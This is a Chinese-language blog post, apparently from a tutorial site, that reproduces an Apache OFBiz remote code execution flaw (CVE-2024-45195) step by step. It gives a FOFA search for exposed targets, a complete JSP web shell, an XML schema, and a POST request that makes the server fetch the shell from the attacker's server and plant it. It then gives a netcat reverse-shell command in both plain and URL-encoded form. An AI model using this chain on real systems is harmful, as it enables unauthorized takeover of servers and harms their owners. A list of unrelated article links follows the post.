Apache OFBiz 远程代码执行漏洞复现(CVE-2024-45195)并拿到shell

FOFA:app="Apache_OFBiz"

复现:

VPS上准备两个文件

rceschema.xml

<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">

<record name="rceentry" limit="many">

<field name="jsp" type="String" length="605" position="0"></field>

</record>

</data-file>

</data-files>

rcereport.csv

<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>

POC:

POST /webtools/control/forgotPassword/viewdatafile HTTP/2

Host: 目标地址

User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: close

Content-Type: application/x-www-form-urlencoded

DATAFILE_LOCATION=http://公网ip:端口/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://公网ip:端口/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

原来的包

服务器python开启http服务

python3 -m http.server 8888

ps:在服务器中要加这个规则,把防火墙关了

看看能不能访问

发送修改后的包

服务器上启的http服务收到访问链接

访问下列接口进行RCE验证

GET /accounting/index.jsp?cmd=id HTTP/2

Host: 对方的host

反弹shell

查询有无nc

这次使用的nc命令为

nc ip 端口 | /bin/bash|nc ip 端口

如nc 124.70.xxx.xxx 4443|/bin/bash|nc 124.70.xxx.xxx 4441

开启监听

让对方执行nc命令(要对命令进行url编码)

下面是编码后的换成自己的就好啦ps:右边没回显说明成功

nc+ip+端口%7C%2Fbin%2Fbash%7Cnc+ip+端口

可能遇到的问题:

监听不到可能是因为在入站规则没加那两个端口加一下就好了

还有关防火墙

相关推荐
hmbbcsm7 分钟前
动手学习深度学习学习笔记(一)
笔记·学习
春水碧于天,画船听雨眠7 分钟前
jQuery学习笔记
笔记·学习·jquery
一个天蝎座 白勺 程序猿36 分钟前
Oracle替换工程实践深度解析:从迁移挑战到金仓“零改造”实践
数据库·学习·oracle·kingbasees
ALex_zry1 小时前
物联网OTA升级系统设计:从固件分发到版本管理
c++·经验分享·物联网·跨平台
小马学嵌入式~1 小时前
linux开发深度学习-时钟
linux·arm开发·嵌入式硬件·学习
毕设源码-钟学长1 小时前
【开题答辩全过程】以 基于web的书法学习网站的设计与实现为例,包含答辩的问题和答案
学习
皮卡蛋炒饭.1 小时前
学习IO基础
学习
蓝队云计算2 小时前
深耕本土,安全稳定——云南云服务器为何首推蓝队云
运维·服务器·安全·云服务器·蓝队云
__雨夜星辰__2 小时前
TypeScript 入门学习笔记(面向对象 + 常用设计模式)
前端·学习·typescript
讯捷蓝达2 小时前
服务器维修立等可取?Dell R730不开机 现场维修分享(东莞长安)
运维·经验分享